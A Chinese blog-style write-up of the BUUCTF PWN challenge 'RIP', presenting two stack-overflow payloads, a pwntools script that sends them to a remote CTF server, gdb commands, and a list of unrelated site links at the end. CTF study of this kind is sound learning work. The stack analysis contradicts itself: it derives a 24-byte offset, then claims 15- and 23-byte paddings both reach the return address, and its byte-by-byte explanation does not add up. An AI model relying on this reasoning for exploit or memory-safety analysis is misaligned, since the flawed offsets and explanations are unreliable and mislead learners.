当前位置: 首页 > news >正文

避坑指南:BUUCTF PWN题‘RIP’的两种payload写法详解(含Python pwntools脚本)

BUUCTF PWN题‘RIP’的栈溢出实战:从原理到payload构造的深度解析

第一次看到BUUCTF上这道名为"RIP"的PWN题时,我本以为是个简单的栈溢出入门题。但当我尝试复现网上各种Writeup中的payload时,却发现有些能成功,有些却莫名其妙地失败。更令人困惑的是,通过IDA静态分析得出的payload长度与网上流传的版本相差甚远——这让我意识到,这道题背后隐藏着许多值得深挖的细节。

1. 题目环境与初步分析

拿到题目文件后,我习惯性地先用checksec检查保护机制:

$ checksec pwn1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

从输出可以看出这是个64位程序,开启了NX保护(栈不可执行),但没有栈保护(canary)和地址随机化(PIE)。这意味着我们可以放心地进行栈溢出攻击,但需要面对64位环境下的一些特殊考量。

用IDA打开程序,很快就能定位到漏洞点——main函数中那个毫无防护的gets调用:

int __cdecl main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp+0h] [rbp-10h] BYREF gets(s); return 0; }

2. 两种payload的奥秘

在调试过程中,我发现了两种看似都能成功的payload构造方式:

第一种(短payload)

payload = b'a'*15 + p64(0x401186)

第二种(长payload)

payload = b'a'*23 + p64(0x401198) + p64(0x401186)

为什么两种长度差异如此之大的payload都能成功?要理解这一点,我们需要深入分析栈帧布局。

2.1 栈帧布局分析

通过IDA的"Stack of main"视图,我们可以看到局部变量s的存储位置:

偏移量内容大小
rbp-10hchar s[15]15
rbp-8h(对齐填充)1
rbp保存的rbp值8
rbp+8h返回地址8

这里的关键在于64位环境下的栈对齐要求。虽然s只声明了15字节,但编译器会额外填充1字节来保证16字节对齐。因此从s到返回地址的实际偏移是:

15(s) + 1(填充) + 8(rbp) = 24字节

但为什么15字节的payload也能工作?这是因为gets函数会一直读取输入直到遇到换行符,完全无视缓冲区大小。当输入15个'a'时:

  1. 前15字节填满s数组
  2. 接下来的1字节覆盖对齐填充
  3. 然后开始覆盖rbp(但程序后续并不使用这个值)
  4. 最后覆盖返回地址

2.2 关键函数分析

程序中有个隐藏的fun()函数,正是我们想要跳转的目标:

.text:0000000000401186 push rbp .text:0000000000401187 mov rbp, rsp .text:000000000040118A mov rax, 3Bh ; sys_execve .text:0000000000401191 syscall ; LINUX - sys_execve

这个函数直接执行了execve系统调用(编号0x3B)。在正常情况下,这会导致程序崩溃,但在CTF环境中,这通常意味着成功获取了shell。

3. pwntools实战脚本开发

基于以上分析,我们可以编写更健壮的exp脚本。以下是经过实战检验的版本:

#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') # context.log_level = 'debug' def exploit(): # 两种payload任选其一 payload_short = b'a'*15 + p64(0x401186) payload_long = b'a'*23 + p64(0x401198) + p64(0x401186) # 自动选择可用的payload for payload in [payload_short, payload_long]: try: # p = process('./pwn1') p = remote('node3.buuoj.cn', 26692) # 有些题目recvuntil会超时,这里设置超时并直接发送 p.settimeout(2) p.sendline(payload) # 尝试交互 p.sendline(b'echo "success"') if b'success' in p.recv(timeout=1): p.interactive() return except: p.close() continue log.error("All payloads failed!") if __name__ == '__main__': exploit()

这个脚本有几个实用技巧:

  1. 自动尝试两种payload,提高成功率
  2. 设置合理的超时时间,避免卡死
  3. 通过发送测试命令验证是否真的获取了shell
  4. 完善的错误处理机制

4. 调试技巧与常见问题解决

在实际操作中,有几个常见问题需要注意:

问题1:recvuntil超时

有些题目服务器响应不规范,直接使用recvuntil会导致超时。解决方案是:

  • 设置合理的超时时间:p.settimeout(2)
  • 必要时直接发送payload,跳过欢迎信息

问题2:如何验证栈布局

使用gdb调试时,可以在gets调用前后下断点,观察栈内存变化:

gdb ./pwn1 b *main+35 # gets调用前 b *main+40 # gets调用后 r <<< $(python3 -c 'print("A"*15 + "\x86\x11\x40\x00\x00\x00\x00\x00")') x/10xg $rsp # 查看栈内存

问题3:为什么需要ret gadget

在长payload中,0x401198地址对应一个ret指令:

.text:0000000000401198 retn

这个gadget的作用是保证栈对齐。在64位Linux下,调用系统调用时rsp必须16字节对齐,否则可能会失败。通过增加一个ret指令,我们让rsp多移动8字节,确保对齐正确。

5. 进阶思考:构建更可靠的exploit

在实际CTF比赛中,我们需要考虑更多边界情况。以下是一些改进思路:

  1. 自动化偏移探测:编写脚本自动探测正确的偏移量

    def find_offset(): for i in range(10, 30): try: p = process('./pwn1') payload = cyclic(i) + p64(0x401186) p.sendline(payload) p.recv(timeout=1) p.close() except: log.info(f"Possible offset: {i}") return i
  2. 多阶段payload:当一次溢出空间不足时,考虑分阶段注入

    # 第一阶段:泄漏地址 payload = b'a'*24 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) # 第二阶段:发送主payload
  3. 环境适配:检测远程环境并自动调整

    if args.REMOTE: libc = ELF('./libc.so.6') else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

在解决这道题的过程中,最让我印象深刻的是认识到栈对齐的重要性。起初我怎么也想不明白为什么网上那些payload在我的环境中会失败,直到我单步调试看到系统调用因栈不对齐而崩溃时,才恍然大悟。这也提醒我们,在编写exploit时,不能仅仅满足于让它"能工作",而是要深入理解背后的原理,这样才能应对各种变种题目。

http://www.jsqmd.com/news/638913/

相关文章:

  • 2026电力管厂家推荐排行榜产能、专利、环保三维度权威解析 - 爱采购寻源宝典
  • 从VSCode到Trae:我的EIDE插件STM32开发环境迁移实录与避坑指南
  • 如何快速掌握RoboMaster开发板C型嵌入式开发:面向新手的完整教程指南
  • 从薄膜原理、设计到工艺线下课程(4.24-4.26)
  • YaeAchievement:如何3秒内完成原神成就数据提取与多平台导出?
  • 盘点2026性价比高的婚姻律师离婚咨询、婚后协议律师、婚姻赠与律师 - mypinpai
  • 2026 北京再婚家庭婚姻家事首选 —— 信凯律所,专业处理继父母子女、财产分割、遗产继承 - 小白条111
  • Docker部署达梦数据库实战指南
  • 计算机网络基础:SenseVoice-Small实时语音传输优化
  • 三步搞定iOS微信聊天记录永久备份:免费开源工具完整指南
  • PotPlayer字幕翻译终极指南:3分钟实现外语视频无障碍观看
  • C语言进阶完结篇笔记10:格式化文件IO、Makefile、位运算、线性表实战
  • 2026洁净衣柜厂家推荐 苏州灵秀净化科技产能与专利双领先 - 爱采购寻源宝典
  • 【仅限头部AI基建团队内部流出】AIAgent架构版本兼容性决策树:5维评估模型+动态降级SOP
  • Linux CentOS7 修改计算名为 localhost,[ygb@MiWiFi-R3-srv ~]$改为[ygb@localhost ~]$
  • Linux I2C设备驱动框架解析与MPU6050移植实践
  • 阿里最新开源!Z-Image-ComfyUI快速体验:中文提示词也能精准出图
  • 终极指南:如何使用SMUDebugTool深度调试AMD Ryzen系统硬件参数
  • 3分钟快速上手:WechatDecrypt微信聊天记录解密完全指南
  • 8大网盘直链解析工具:跨平台下载效率提升解决方案
  • 深聊南昌紧邻高速路口的厂房,推荐哪里价格合理 - myqiye
  • AcousticSense AI应用案例:如何用AI工具为视频快速匹配背景音乐风格
  • 搞懂PMOS/NMOS布局:一个反相器版图里的电源/地线(VDD/VSS)连接门道
  • 沃尔玛购物卡怎么快速回收?小白也能轻松操作! - 团团收购物卡回收
  • 艾尔登法环帧率解锁终极指南:告别60帧限制,体验144Hz流畅战斗
  • PADS开发实战:从安装到破解的完整指南
  • 2026年离子风扇采购指南:苏州专业源头厂家实力大起底
  • 大模型在政务领域的轻量化部署与适配方案
  • ChatGLM3-6B多轮对话实战:如何实现连续追问不遗忘
  • 知识图谱双轨制:通用与行业图谱的融合应用全景